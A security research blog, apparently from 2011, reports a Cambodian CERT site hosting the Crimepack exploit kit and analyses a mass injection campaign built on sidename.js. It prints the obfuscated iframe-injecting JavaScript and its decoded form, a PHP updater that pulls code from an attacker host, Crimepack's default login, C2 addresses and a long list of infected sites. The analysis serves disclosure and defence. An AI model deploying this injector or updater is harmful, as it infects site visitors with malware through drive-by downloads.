Cambodia Government CERT website serving malware

Beginning of this year, GlobalSign and Armorize established a joint platform to scan for compromised websites serving malware to visitors.

On July 1st (Friday), we noticed that some of the compromised websites had iframes pointing to www.camcert.gov.kh, which is Website of National Cambodia Computer Emergency Response Team (CamCERT) .

We quickly check out CamCERT's website and confirmed that it's been hacked into and injected with CramePack, which is an Web malware (drive-by download) exploit pack that supports exploits for CVE-2006-0003, CVE-2010-0806
, CVE-2009-3867, CVE-2010-0806, CVE-2007-5659, CVE-2009-0927, CVE-2008-2992, and CVE-2009-3269.

The compromised websites contained an injected piece of javascript that generated an iframe pointing to www.camcert.gov.kh:

The iframe generated was:

http://www.camcert.gov.kh/userfiles/.cache/nolock/index.php

Crimepack was injected into the "nolock" directory under http://www.camcert.gov.kh/userfiles/.cache :

And pointing one's browser to http://www.camcert.gov.kh/userfiles/.cache/nolock/control.php and using Crimepack's default username "crimepack" and an empty password logged us into Crimepack's UI, as shown on the first screenshot of this post.

We quickly notified CamCERT, and a few hours later we received an email indicating that they have handled the matter.

Here's GlobalSign's account of this incident.

Read more (rest of article)...

Mass Meshing Injection: sidename.js (now cssminibar.js) ongoing

(Credits: Wayne Huang, Chris Hsiao, NightCola Lin)
(Thanks to Christian Frichot and David Taylor for providing additional info)
(Original post: June 15th)
(Updated: Jun 28th)

A quick summary:

	Lizamoon	Sidename.js
Type of attack	Mass SQL Injection	Mass Meshing Injection
Victim criteria	Victims have to be tricked into a) downloading a binary and b) executing the binary, in order to be infected.	Victims visit the website and are infected without their knowledge, no clicking required (drive-by download)
Number of infected sites	Google: 5600 Cisco: 1154 Throughout 7 months	20,000-30,000 About two weeks
Google blacklisting rate	Don't know	20%, made difficult due to mass meshing
Blacklisting	Easy, because most redirectors are maliciously registered, so they can be blacklisted forever	Harder, because redirectors are infected but otherwise legitimate websites, and so they must be removed from blacklisting once cleaned..
Injection method	SQL injection, error-prune, low success rate. Cannot delete what's been injected. Injections do not change	FTP, total control of files on the website, that's why they can do meshing. Injected script changes often; replaced with new ones
Injected content	Same for all infected websites	Different for every infected website
Exploit domain	A few registered by the attacker	Unlimited randomly generated co.cc domains

For update on infection estimation for followups, follow me or email me directly.

Contents:
1. Mass Meshing Injection Summary
2. Details on the sidename.js incident
3. Detection rates
4. Malicious scripts
5. Installed malware
6. List of 1200 infected websites

[1. Mass Meshing Injection Summary]
We just realized that it's been more than three years since we first talked about Mass SQL Injections to the English media (PC World, Info World, betanews). Time flies...

When our HackAlert backend lights up like a Christmas tree we know something's going on. This time we want to report a new type of mass-scale drive-by download attack that we'll dub "Mass Meshing Injection" to contrast with "Mass SQL Injection." We've been seeing it since mid January of this year and its usage has been on the rise. We believe it's been developed by CreateCSS group.

Mass SQL Injections have been quite the same ever since our initial report in 2008. Basically, a mass-scale SQL injection is launched, injecting a large number of websites with a malicious script or iframe that would cause the browser to load from a malicious site, which can be a hop point to another malicious site, until finally, exploit code is loaded from the exploit site, the browser is exploited, and malware is installed without the victim's knowledge.

We'll be using the recent lizamoon incident to compare the differences between Mass SQL Injections and Mass Mashing Injections. But first we must note here that lizamoon wasn't a typical Mass SQL Injection--it was less infectious than a typical Mass SQL Injection. Two reasons:

A. Instead of injecting iframes or script srcs to have the browser "secretly" load the malicious content, lizamoon's javascript redirected the browser to the final malicious site, and therefore making it easier for visitors to notice the attack.

B. Mass SQL Injections often serve (0day) drive-by downloads, which would automatically install malware without user knowledge. Simply visiting an infected page would result in installation of malware. Instead, Lizamoon served Web-based fake anti-virus scripts, meaning that the user would have to be tricked into downloading the malware to disk and executing it. So instead of doing nothing, the victim has to first "Save As" and then "Run."

Although it doesn't completely resemble a typical Mass SQL Injection attack, lizamoon attracted great attention recently, and therefore we decided to use it here for comparison.

In Mass SQL Injections, scripts or iframes are injected into innocent victim sites, that cause the browser to load malicious content from the "redirectors," which are domains registered by the attacker. In lizamoon's case, there were only a dozen or more redirector domains, most of which were registered by the same person ("James Northone" jamesnorthone@hotmailbox.com) and hosted on the same network.

These redirectors then redirected the browser to a single location, defender-uqko.in, which served the actual attacking javascript that tried to trick the user into downloading and executing the malware.

This linking strategy, adopted by typical Mass SQL Injection attacks, is easy to detect. Security vendors can signature the dozen-or-so redirector domains. The key here is that the redirector domains all belong to the attacker, and the number is small.

So security vendors can simple blacklist these domains forever and not worry about false alarms when these redirector domains "become clean again"--because they won't.

To defeat this, Mass Meshing Injection does the following:

A. Every infected website contains a redirector script in the root directory; in this case it is sidename.js. This is an obfuscated script that will dynamically generate an iframe to the exploit server, in this case, frankieeus.ru, gaufridboris.ru, stephanos.ru, all hosted on the same IP 89.208.149.214. It runs the BlackHole exploit and serves drive-by downloads.

B. Every infected website is injected, in their pages, with a <script src tag pointing to another random infected website's sidename.js.

And so the end result is, side the infected webpages, there is no more statically injected "malicious redirectors" that security vendors can detect. Every redirector is itself an infected domain, which means blacklisting becomes more difficult and prune to false alerts. Fortunately for this time, the name of the redirector file is still fixed--sidename.js--which can be signatured. If in the future this further changes to a dynamically generated name, detection will be made even more difficult. Details on this can be found in [3. Detection rates].

[2. Details on the sidename.js incident]

A. Mass Meshing Injection first appeared: Mid Jan, 2011

B. Sidename.js (paired with wpcomplate.php) attack first appeared: June 7th, 2011
(Note: Above date as detected by HackAlert, later we confirmed via victim's FTP logs:

Tue Jun 07 17:22:33 2011 0 93.120.87.2 0 /home/___masked___/public_html/sidename.js

)
Changed to cssminibar.js (paired with wpqonfig.php): June 19th, 2011

Sun Jun 19 21:58:55 2011 0 84.247.61.24 0 /home/___masked___/public_html/cssminibar.js

C. Infection mechanism: Automated FTP via stolen credentials. Note that when we googled for mass SQL injected pages, the results we get are those that have failed rather than succeeded. The injection failed, the injected script becomes a part of the pages' content, and indexed by Google. This sidename.js attack has been quite precise, so Google doesn't pick up much.

D. Exploit: served by the Black Hole exploit pack.

At first, running on several domains, including:

frankieeus.ru
gaufridboris.ru, and
stephanos.ru, which all points to the same IP 89.208.149.214, and also
bogdantevye.ru
jasoncmeyer.ce.ms
act1floral.ce.ms
jwjmusic.cx.cc
act1floral.ce.ms

Afterwards, running on RANDOMLY GENERATED co.cc domains.

Script responsible for random co.cc domains is:

http://klubnika34his.com/data/script.php

Every time this script is run, it generates a new, random co.cc domain:

Start Mon, 20 Jun 2011 11:08:50 +0200http://nktnnkr.co.cc/showthread.php?t=51650812Работу закончил Mon, 20 Jun 2011 11:09:12 +0200

The above content is then used to generate the obfuscated script that is written to banner.txt to be subsequently loaded by wpcomplate.php (wpqonfig.php) and written to sidename.js (cssminibar.js).

E. Update mechanism: Three update mechanisms have been continuously observed,

1. The injected <script src=> tag have been continuously changing, meaning, the mesh is dynamic, Site A scripts to site B one day, and to site C the next day. This also indicates that the attacker has an automated backdoor into the infected websites.

2. The sidename.js file itself keeps on changing. Every infected site contains a wpcomplate.php file, which copies content from klubnika34his.com/data/banner.txt.

3. Contents of banner.txt also changes every time script.php is run (as mentioned above). script.php dynamically generates a new, random co.cc domain and then updates banner.txt.

The attacker runs a C++ Builder- or Delphi-based windows program that uses Indy components to trigger (via HTTP) wpcomplate.php (wpqonfig.php), which then retrieves the content of banner.txt and updates sidename.js (cssminibar.js).

This URL documents the updates history:

http://klubnika34his.com/data/time.txt

Excerpts of the content is as follows:

Старт Wed, 15 Jun 2011 03:22:01 +0200 - Работу закончил Wed, 15 Jun 2011 03:22:23 +0200/nСтарт Wed, 15 Jun 2011 03:26:19 +0200 - Работу закончил Wed, 15 Jun 2011 03:26:41 +0200/nСтарт Wed, 15 Jun 2011 03:27:03 +0200 - Работу закончил Wed, 15 Jun 2011 03:27:25 +0200/nСтарт Wed, 15 Jun 2011 03:27:46 +0200 - Работу закончил Wed, 15 Jun 2011 03:28:09 +0200/nСтарт Wed, 15 Jun 2011 03:48:39 +0200 - Работу закончил Wed, 15 Jun 2011 03:49:02 +0200/nСтарт Wed, 15 Jun 2011 04:09:04 +0200 - Работу закончил Wed, 15 Jun 2011 04:09:27 +0200/nСтарт Wed, 15 Jun 2011 04:29:28 +0200 - Работу закончил Wed, 15 Jun 2011 04:29:50 +0200/nСтарт 

[3. Detection rates]
The following illustrates why Mass Meshing Infection makes detection more difficult. After typical Mass SQL Injections, each infected site is injected with a static URL (javascript src) to a malicious redirector. The number of URLs is small, and their domains are mostly registered by the attacker.

After a Mass Meshing Injection, each site is injected with a static URL to a different infected website. Therefore the number of URL is equivalent to the number of infected sites, which is much larger. At the same time, domains of these URLs are legitimate, innocent, but infected domains, rather than those registered by an attacker, and therefore detection is harder.

Even if vendors do detect all these infected sites and add them to blacklist, the effort is greater, because usually when maliciously registered domains are added to blacklist, they stay there for a long time. But when innocent but infected domains are added to blacklists, care must be made to monitor and remove them from blacklisting quickly, and so as to not cause false alarms.

What's interesting here though, is Website reputation services versus Antiviruses. Reputation services don't need to be that real-time, and therefore they can afford to blacklist a website for a longer time. And it's fair. You were injected, and so you are less trustworthy.

For antiviruses, though, ideally when the website is fixed, they should be removed from the blacklisting. However, as mentioned above, this will require more effort.

Another interesting note is a lot of infected sites of this "sidename.js" incident were already blacklisted by many. This is because many of these websites tend to fall victim to attacks all the time, old and new. Many of this time's victims have malicious files named adv.php, facebook.php, counter.js, js.php, etc, which were left there as a result of previous compromises.

For those URLs we listed in the [6. List of 1200 infected websites] section, Google flagged roughly 20% of all the sample URLs based on this sidename.js Mass Meshing Injection attack. Another 10% was either already blacklisted due to past attacks or recent ones, both of which had nothing to do with Mass Meshing Injection.

And so using the 1200 URL samples and Google blacklisting as an example, 70% of the infected sites were not flagged, 20% were flagged due to Mass Meshing Injection (sidename.js), and another 10% was either already flagged a long time ago, or was flagged recently due to other compromises. (So this 10% of websites had multiple compromises)

From a scan of Alexa's top one million sites, 125 have been infected. A reasonable estimation of the total number of infected sites would be 125 / 1M * 294M active websites (netcraft survey) = 36,625. Our initial estimate was between 20,000 to 30,000 sites, and so this number is close. Note that this is a solid list with the exact proof of the infection, and that the number is of individual websites (domains) and not individual pages. This is compared to the roughly 5,600 Lizamoon infections and the roughly 62,000 Gumblar infections, both estimated by Google, and also the 1154 unique Lizamoon compromised websites as seen by Cisco "throughout the entire seven month run of these (Lizamoon) SQL injection attacks. Quoted from Wikipedia regarding Lizamoon:

"According to Niels Provos, a security researcher at Google, Google's safe browsing database indicates the Lizamoon attacks began around September 2010 and peaked in October 2010 with approximately 5600 infected sites." (reference)

"Cisco researcher Mary Landesman has confirmed that the infection rate appears quite low." (reference)

Below is an illustration given by Niels Provos in his above-mentioned article.

So again the quick summary:

	Lizamoon	Sidename.js
Type of attack	Mass SQL Injection	Mass Meshing Injection
Victim criteria	Victims have to be tricked into a) downloading a binary and b) executing the binary, in order to be infected.	Victims visit the website and are infected without their knowledge, no clicking required (drive-by download)
Number of infected sites	Google: 5600 Cisco: 1154 Throughout 7 months	20,000-30,000 Will post exact estimation number soon June 7th to now, 8 days
Google blacklisting rate	Don't know	20%, made difficult due to mass meshing
Blacklisting	Easy, because most redirectors are maliciously registered, so they can be blacklisted forever	Harder, because redirectors are infected but otherwise legitimate websites, and so they must be removed from blacklisting once cleaned..
Injection method	SQL injection, error-prune, low success rate. Cannot delete what's been injected. Injections do not change	FTP, total control of files on the website, that's why they can do meshing. Injected script changes often; replaced with new ones
Injected content	Same for all infected websites	Different for every infected website
Injected content	Same for all infected websites	Different for every infected website
Exploit domain	A few registered by the attacker	Unlimited randomly generated co.cc domains

We hope to note here that the above writing is not to question the finding of Lizamoon. It's always difficult for the first party that identifies a threat, because time is limited and you must publish quickly in order for the report to be useful, and therefore it is very difficult to get all the numbers right. We know this drill very well. It's easier to come up with more accurate numbers post-mortum, when there's no time pressure.

[4. Malicious scripts]

For website admins, infected pages contain the following:

<script type="text/javascript" src="http://cartrust.net/sidename.js"></script>

Where "cartrust.net" can be an arbitrary infected website.

Two files are injected into the root foler: sidename.js and wpcomplate.php

Sidename.js doesn't always generate an iframe to the exploit server. When it doesn't, it generates a hidden iframe to google. Following is its contents when it does attack:

el=document.createElement("div");el.innerHTML="ReferenceErr";el.appendChild(document.createTextNode("q"));el.insertBefore(document.createTextNode("l"),el.childNodes[1]);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="Er(ufd31i.wam<)g [TsnBle]bcv?N9 =\"{0/};2p'4hy,t>C:Ao56";ar2="R64c0c-32c-16c108c-116c12c184c-100c-92c36c44c-12c104c-148c24c32c92c-184c88c4c-44c44c-12c104c-108c8c92c-104c-28c16c56c-72c4c44c-84c156c-64c104c-184c156c-12c-108c12c72c-44c-40c80c-72c0c0c-32c-16c-12c40c4c44c-88c4c48c96c-88c0c84c-24c-32c-4c-12c16c32c12c-72c0c0c-44c184c-100c-92c36c44c-12c104c-148c4c-36c28c152c-92c-84c124c-80c-20c-16c-12c40c4c44c32c-48c-72c100c24c36c8c12c0c-24c36c-52c0c-84c-16c-32c4c-12c28c-12c80c104c-200c28c44c-40c-32c8c132c-128c188c-200c8c36c-12c124c12c-12c-48c72c-24c-32c-108c80c112c-196c76c-68c96c-16c16c48c-64c104c-52c-128c180c0c-44c-40c-84c-8c-12c164c-12c-44c36c-136c112c24c-40c48c-80c-60c28c112c12c-56c36c-136c112c24c-40c-48c108c-8c-88c4c36c36c-56c-76c44c-44c68c-68c56c-56c152c-8c20c-24c-140c-12c0c72c-12c72c8c44c-128c-44c152c-152c172c-124c116c-152c56c-24c128c-116c-76c172c-92c60c-64c4c-76c168c12c-56c12c32c20c-44c36c-56c12c12c24c-136c92c-112c-16c-12c40c4c44c96c-56c-76c96c-88c0c84c-84c0c-48c-4c68c24c80c-152c172c-124c44c-92c-16c-12c40c4c44c-88c4c48c80c-72c0c0c44c-64c-40c120c-108c108c4c-4c-104c184c-100c-92c36c44c-12c104c-148c68c-100c88c-48c140c-92c-92c88c4c-44c44c-12c104c-176c156c-132c-16c-12c40c4c44c72c-108c96c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c-88c-72c100c60c16c-16c8c12c0c-24c36c-52c0c-84c-16c-32c4c-12c28c-12c80c104c-200c28c44c-40c-32c8c132c-128c188c-200c8c36c-12c124c12c-12c-48c72c-24c-32c-108c80c112c-196c76c-68c96c-16c16c48c-64c104c-52c-128c180c0c-44c-108c96c-136c20c40c108c-8c-88c4c-56c72c-76c44c-44c68c-68c56c-56c152c-8c-48c36c8c-140c-12c0c72c-12c84c-12c-136c20c40c108c-8c-88c4c-56c124c44c-128c-44c152c-152c172c-124c48c36c-120c56c-24c128c-116c-76c172c-92c72c-12c-136c20c40c108c-8c-88c4c-56c52c4c-76c168c-56c36c-24c24c-12c-136c20c40c108c-8c-88c4c-56c148c20c-44c-32c36c-24c24c-12c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c-124c-8c-12c164c-12c-8c16c-16c-136c112c24c-108c96c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c8c-80c-60c28c112c12c-20c16c-16c-136c112c24c-108c96c-88c0c0c-44c184c-100c-92c36c44c-12c104c-148c24c32c92c-184c88c4c-44c44c-12c104c-108c8c92c-104c-28c16c56c-72c4c44c-84c156c-64c104c-184c156c-12c-108c12c72c-44c-60c8c116c0c-68c-12c-60c172c-20c-140c56c-68c-12c8c40c96c-88c0c84";pau="urn eReferenceErr".replace(k,"va"+el.childNodes[1].nodeValue);e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="64";s="";pos=0;i=0;while(i<605){e('po'.concat('s+=par','seInt(k','.rep','lace("R','eferen','","0a','sd"))+','ar2[','i]/','4'));e('s+=ar.substr(pos,1)');i++;}e(s);

Which decodes to:

if (document.getElementsByTagName('body')[0]){   iframer();  } else {   document.write("<iframe src='http://gaufridboris.ru/forum.php?tp=db6fe39c94c52155' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");  }  function iframer(){   var f = document.createElement('iframe');f.setAttribute('src','http://gaufridboris.ru/forum.php?tp=db6fe39c94c52155');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');   document.getElementsByTagName('body')[0].appendChild(f);  }

The contents of the wpcomplate.php file is as follows:

<?php// ----------------------------------------------------------------------// touch this!  ---------------------------------------------------------define( 'CACHE_DEBUG',false );define( 'CACHE_TIME_SECONDS',0 );define( 'CACHE_UPDATE_URL',"http://klubnika34his.com/data/banner.txt" );define( 'CACHE_FILE',"sidename.js" );// ----------------------------------------------------------------------$cache_code  = null;$cache_file  = CACHE_FILE;$cached_time  = time() - (file_exists($cache_file) ? filemtime($cache_file) : 0);// ----------------------------------------------------------------------if (CACHE_DEBUG) echo "Cached time is {$cached_time} seconds, update planned after ".(CACHE_TIME_SECONDS - $cached_time)." seconds\n";// ----------------------------------------------------------------------// check cached time if($cached_time > CACHE_TIME_SECONDS){ // get new cache code $cache_code = file_get_contents(CACHE_UPDATE_URL); if(!empty($cache_code)) {  if (CACHE_DEBUG) echo "Update cache...\n";  write_cache($cache_file, $cache_code); } else {  if (CACHE_DEBUG) echo "Can't get cache data!\n"; }}else{  if(CACHE_DEBUG) echo "Read cache code...\n";  // extract cached data  $cache_code = extract_cache($cache_file);  if(empty($cache_code))  {   if (CACHE_DEBUG) echo "Cache empty! Update cache...\n";   $cache_code = file_get_contents(CACHE_UPDATE_URL);   if(!empty($cache_code))   {    // write cache    write_cache($cache_file, $cache_code);   }   else   {    if (CACHE_DEBUG) echo "Can't get cache data!\n";   }  }}// ----------------------------------------------------------------------header("Content-Type: text/plain; charset=windows-1251");echo $cache_code;// ----------------------------------------------------------------------exit;// ----------------------------------------------------------------------/// read file datafunction file_get_contents_locked($file_path){ $fp = fopen($file_path, "r"); if($fp !== FALSE) {  flock($fp, LOCK_EX);  $data = fread($fp, filesize($file_path));  flock($fp, LOCK_UN);  fclose($fp);  return $data; } return FALSE;}// ----------------------------------------------------------------------/// extract cache from file by cache markersfunction extract_cache($file_path){ if(file_exists($file_path))  return file_get_contents_locked($file_path); return null;}// ----------------------------------------------------------------------// write cache to filefunction write_cache($file_path, $cache_data){ if(file_exists($file_path) && !is_writable($file_path)) {  if (CACHE_DEBUG) echo "Cache file not writable!\n";  return null; } $fp=fopen($file_path, "w+"); flock($fp, LOCK_EX); fwrite($fp, $cache_data); flock($fp, LOCK_UN); fclose($fp);}------------

[5. Installed malware]

The installed malware binary keeps on changing, but most are repacked versions of the same backdoor and spambot. Detection rate was 3 out of 42 vendors on VirusTotal.

The malware connects back to 70.36.100.242:443 and listens on port 2455. Static analysis also came up with the following domains:

70.36.100.242:443;
70.36.100.243:443;
70.36.100.244:443;
208.110.80.34:443;
208.110.80.35:443;
208.110.80.36:443;
74.222.4.12:443;
74.222.4.13:443;
black.nightphantom.com:443;
cheburash.com:443;
ns2.romanspamer.com:443;
n1.romanspamer.com:443;
angel.eveningquest.com:443;

[6. Sample list of 1200 infected websites]

After the initial publicaiton of this post, we were noted by
Christian Frichot and David Taylor that apparantly, the meshing system automatically documents infected websites in the following URL:

http://klubnika34his.com/data/workurls.txt

We were not aware of this prior to their update. An excerpt of the URL's contents is as follows:

http://getbig.com/articles/wpcomplate.phphttp://ekudakov.ru/wpcomplate.phphttp://studiodada.biz/wpcomplate.phphttp://woweb.biz/wpcomplate.phphttp://www.metapo.com/wpcomplate.phphttp://teamroomonline.com/wpcomplate.php

After counting, that URL recorded 956 websites, out of which were 897 unique websites. Apparantly this file did not include all infected websites, but since we were not able to collect the entire source code package of this meshing system, we do not know why this file did not record all infections.

Finally, below are examples of sites in this sidename.js mesh.

http://m-ageha.kir.jphttp://embarrass.hosting.paran.comhttp://hosting0013924.az.plhttp://hosting4792140.az.plhttp://hosting8540401.az.plhttp://n3jnondgxfed.az.plhttp://promelit.biz.uahttp://cuoredolcecuore.netsons.orghttp://alicjaa.webd.plhttp://cuda.webd.plhttp://dian560.webd.plhttp://grzenio.webd.plhttp://milena1.webd.plhttp://msmebel8.webd.plhttp://pzukwi.webd.plhttp://snb.webd.plhttp://billardagent.vot.plhttp://dsopen.vot.plhttp://lenin.vot.plhttp://mk1.vot.plhttp://rako.vot.plhttp://tanierodzinnezakupy.vot.plhttp://wojsz.vot.plhttp://wswfit.vot.plhttp://kuzishin.if.uahttp://alfa.sumy.uahttp://getbig.comhttp://zara.zzl.orghttp://www.gazetevan.comhttp://fantazjada.kei.plhttp://articlenext.comhttp://sim-interbusiness.comhttp://formatc.cal.plhttp://grobart.cal.plhttp://kokoko.cal.plhttp://soustr.net78.nethttp://4misr.comhttp://project-soustr.net76.nethttp://muciek2.ayz.plhttp://pkata.ayz.plhttp://1.igor1980.z8.ruhttp://miadieta.ithttp://czasy-surferow.xaa.plhttp://htc.xaa.plhttp://sesatio.xaa.plhttp://sigmainfotech.com.auhttp://spolecznagrodzisk.ehost.plhttp://skt.beta.zst.tarnow.plhttp://media.funmunch.comhttp://quotes.funmunch.comhttp://rank01.comhttp://nmc.poltava.uahttp://saamarth.nethttp://ayamk.comhttp://sagitta.cp5.win.plhttp://konhaber.comhttp://m.dialindia.comhttp://lechowski.nstrefa.plhttp://euslugi.lh.plhttp://listonoszpat.lh.plhttp://idmir.comhttp://newnancc.comhttp://www.zbani.comhttp://websitedesign4u.comhttp://kalisz.ionic.plhttp://dev.inkakinada.comhttp://imagesdocs.comhttp://select.civ.plhttp://konto1.cal24.plhttp://wojo.fc.plhttp://teentape.comhttp://shqipet.chhttp://amcwebhost.comhttp://love-sports-betting.comhttp://easley4dps4.comhttp://mobozavr.u-gu.ruhttp://fitness-planet.turek.plhttp://karczma.turek.plhttp://malodentalimplants.comhttp://gogoa.comhttp://sigmaseo.com.auhttp://yenidze.comhttp://theclassy.comhttp://betterbettingonline.comhttp://nudeamateurporn.comhttp://vija.asiahttp://st05110493.etu.edu.trhttp://serverlar.gen.trhttp://pichell.orghttp://all-celebrities-exposed.comhttp://theleadershipcoach.orghttp://facebooklikes.comhttp://zwierzu.zxy.mehttp://dr-slc.comhttp://main.district8.nethttp://traverus-travelagent.comhttp://cnsbzs.comhttp://kalitewebs.comhttp://admindiscuss.comhttp://kocaeligazete.comhttp://bestfinancescheme.comhttp://purplepjs.comhttp://datapaylasim.comhttp://bankwestagri.com.au.tmp.anchor.net.auhttp://content-catalyst.comhttp://rednotebook.grhttp://artattackk.comhttp://deathntaxes.nethttp://kmetijstvo-gozdarstvo-gorenjske.comhttp://tourism-eure.comhttp://finedecoration.nethttp://conceptsynoptic.comhttp://idealgiftshopping.nethttp://fashionwatchesjewelry.comhttp://myamateurhomeporn.comhttp://anglijospremierlyga.wu.lthttp://utilaje-agricole-wirax.comhttp://sonic-serve.comhttp://versatilecontents.comhttp://ilovefreepussy.comhttp://zee.cohttp://releasedownload.comhttp://clarabridge.comhttp://greenvanlines.comhttp://lsraheja.orghttp://pornwarzone.comhttp://4printing.nethttp://radioisla1320.comhttp://www.apluswhs.comhttp://clientzone.saturn.tjhttp://rainbowlocksmith.comhttp://thai-discovery.comhttp://muraito.comhttp://dentalimplantcosthouston.comhttp://designhub.ithttp://www.cosmed.com.twhttp://artefakt.jor.plhttp://zdjecia.jor.plhttp://starzweb.comhttp://indusnetacademy.comhttp://mardanpalace.comhttp://kanadianking.comhttp://erogry24.firehost.plhttp://falaq.infohttp://tuque.com.brhttp://staah.nethttp://hqlogos.comhttp://hornygirls.bizhttp://ardanradio.comhttp://greener-gardens.comhttp://harmonyfilm.viphost.plhttp://socialmediamarketingwizard.comhttp://bdmc.ushttp://dentalimplantsorangecountydentist.comhttp://wonderbackgrounds.comhttp://selfdirectedirastore.comhttp://internetmarketingwonder.comhttp://arcomserv.comhttp://lilavatihospital.comhttp://jigneshpatel.co.inhttp://picasoconsulting.comhttp://rdfitness-centre.infohttp://iloveretroporn.comhttp://accordsoft.inhttp://casinostoplayat.comhttp://sh.d2.plhttp://countryheartheauclaire.comhttp://forexen-trading.infohttp://swagsaver.comhttp://blackcatcandlecompany.comhttp://mobileshub.co.ukhttp://rdseoservices.infohttp://londoncheapapartments.co.ukhttp://onlinecasinoprime.comhttp://ddiziizlet.comhttp://quickseoservices.comhttp://sqoop.co.ughttp://impactdesign-global.comhttp://gaysexxxvideos.comhttp://seobay.comhttp://craigslistraffic.orghttp://rdrealestate.infohttp://www.ankarahavalari.nethttp://mylitescottages.comhttp://pcmax.vnhttp://thebarninsanford.comhttp://datstruct.comhttp://horizonspeakers.comhttp://gogreenindia.co.inhttp://tamanismailmarzuki.comhttp://malta-festival.plhttp://mancity.czhttp://portalwallpaper.nethttp://tantumjav.nethttp://leimo.bizhttp://oib.gov.trhttp://rhaasoft.inhttp://seo-bright.comhttp://megapic.vnhttp://michaelbaisden.comhttp://passenlaw.comhttp://ICNA.ORGhttp://izeebschool.comhttp://kdaat.orghttp://ocdxxx.comhttp://bestsildenafil.infohttp://re-feel.inhttp://mtss.ushttp://letfollow.ushttp://sssofttechnologiesdev.comhttp://justdriving.nethttp://a1shopping.co.cchttp://australiacampervan.comhttp://dpsvasantkunj.comhttp://rdonline-education.infohttp://effectiveattraction.comhttp://fripjobs.comhttp://planetag.cp9.vpsi.plhttp://thecarverycompany.comhttp://professional-videoeditingsoftware.co.cchttp://healthcarecenters.orghttp://menswearecollection.comhttp://honda.com.sghttp://www.h963.comhttp://thesuperstocks.comhttp://thelinkbuildingservices.comhttp://searchenginefactors.comhttp://businessloanconnections.comhttp://onlinecasinopros.comhttp://area224.comhttp://longshotsaloon.comhttp://www.greivisvasquez.comhttp://rdbusiness-solu.infohttp://supertouchart.comhttp://surprisesgalore.comhttp://swiatmp3.infohttp://makemytoursonline.comhttp://fin-digest.ruhttp://swankwithoutthewank.comhttp://yogasanjivani.comhttp://facebook.gamesbunch.comhttp://gamesbunch.comhttp://zmadz.comhttp://businesshubdirect.comhttp://crosbymolasses.comhttp://wpgezegeni.comhttp://outdoor.org.plhttp://theabundancemovement.comhttp://yenikonya.com.trhttp://www.fernandoandrade.namehttp://giftshopgames.comhttp://myhomefurnituresite.comhttp://www.mzri.comhttp://theseoconsult.comhttp://onlinecasinodeck.comhttp://statho-design.grhttp://trinemt2.comhttp://nokiawindows.co.cchttp://sekolahasisi.nethttp://iredecor.co.cchttp://simpsons-arcade.comhttp://www.cashstreams.nethttp://viphousing.inhttp://autoforumposter.nethttp://espinhonet.comhttp://www.3doi.comhttp://edrx.infohttp://2muchrishtey.comhttp://www.obat-herbal.bizhttp://khao-sok-resort.comhttp://cheapdrugbuy.comhttp://vielja.nlhttp://hardwareshoponline.comhttp://csewdirectory.childrensociety.org.sghttp://wingstechsolutions.comhttp://www.srasid.comhttp://sekretaris.dindikjatim.nethttp://bannermaken.nlhttp://casinodestek.comhttp://myabsworkout.comhttp://xklatovy.lidos.czhttp://tmmteam.nethttp://www.nastyvids.infohttp://khaosok-accommodation.comhttp://prikolkin.com.uahttp://accept-credit-cards.comhttp://mychinese.com.myhttp://missionnewyork.comhttp://vedantainformatics.comhttp://www.charliesheennews.infohttp://adiba.co.cchttp://khaosok-hotels.comhttp://evolucionupc.edu.pehttp://thewebhostingcompany.com.auhttp://turkeyhotelsandtours.comhttp://srishtiprojects.comhttp://kidzfun.bizhttp://seosteptoday.comhttp://www.kombor.comhttp://osiolkowo.xpag.plhttp://konzerttickets.wshttp://videocafe.fungrind.comhttp://sm3.aserw.plhttp://muslimfamilyday.comhttp://wonderfonts.comhttp://fitlion.comhttp://gsm-sms.nethttp://forextradingeducation.infohttp://daftarlowonganpekerjaan.comhttp://www.seguridadsocialsuramericana.comhttp://zdjecia.zebu.plhttp://weddinggamesonline.comhttp://www.singlemomsx.infohttp://www.zarabianiewnecie24.com.plhttp://zarabianiewnecie24.com.plhttp://fanhaber.comhttp://www.livejasminv.infohttp://suaramu.comhttp://playgroundmaps.comhttp://www.dui4m.comhttp://www.tinnitusmiraclev.infohttp://www.mesotheliomav.infohttp://target-marketing.infohttp://totalcardiocards.comhttp://tantiagroup.comhttp://www.mydrivinglessonscork.comhttp://www.djiatoday.infohttp://ukdrills.comhttp://www.egemengazetesi.comhttp://dressupgames.fmhttp://newlink.co.zahttp://amxbans.hmhost.plhttp://weselnyhit.plhttp://labmedick.comhttp://tuttoluciano.ithttp://circuitsmag.comhttp://art.milleniumstudio.plhttp://perih.milleniumstudio.plhttp://quadrapol.milleniumstudio.plhttp://up.milleniumstudio.plhttp://drop-ship-wholesale.nethttp://osiolkowo.euhttp://t4tamil.comhttp://mexipreneur.comhttp://www.floridagas.nethttp://thenextmarket.comhttp://tandaiduong.com.vnhttp://bcans.cahttp://olka.cahttp://kalpkurabiye.comhttp://tab-g.comhttp://traductoresportugues.comhttp://ssyms.comhttp://chasovnik.bghttp://finvista.ruhttp://gigroup.co.inhttp://www.thedietsolutionprogramx.infohttp://www.menopausesymptomsx.infohttp://123racinggames.comhttp://www.careeronestop.infohttp://imyshots.comhttp://nefisyemektarifleri.bizhttp://dizifilmizlesek.nethttp://adventuregamesplay.comhttp://operacionesdigitales.comhttp://webonew.comhttp://www.lampaopt.ruhttp://myazn.comhttp://app.sec-survivals.nlhttp://www.soiodontologia.comhttp://gorodbg.ruhttp://www.eccoshoesonsale.infohttp://glocalizationconference.orghttp://www.headphoneonsale.co.ukhttp://domuka.nethttp://y.ym.lthttp://www.vigrxplusx.infohttp://potuk.nethttp://www.wowherbalismguidex.infohttp://keyifleizle.nethttp://www.amanosmobilya.comhttp://www.onoranzefunebri-italia.ithttp://fairtexbangplee.comhttp://magazin-turov.com.uahttp://anandahouse.synergiahost.plhttp://wnr.synergiahost.plhttp://proxen.plhttp://kemal-sunal.infohttp://www.gpcps.ruhttp://mylinh.com.vnhttp://www.kostums.comhttp://www.floresdelagranja.comhttp://myadventureleague.comhttp://distr